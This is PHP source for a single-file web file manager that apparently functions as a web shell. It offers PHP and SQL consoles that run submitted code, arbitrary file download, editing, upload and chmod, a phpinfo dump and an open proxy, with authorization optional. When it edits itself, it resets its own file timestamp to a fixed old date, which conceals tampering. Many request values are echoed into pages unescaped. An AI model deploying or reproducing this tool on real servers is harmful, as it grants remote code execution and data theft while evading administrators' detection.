if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PD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RoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");

}


.file {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAE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uFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

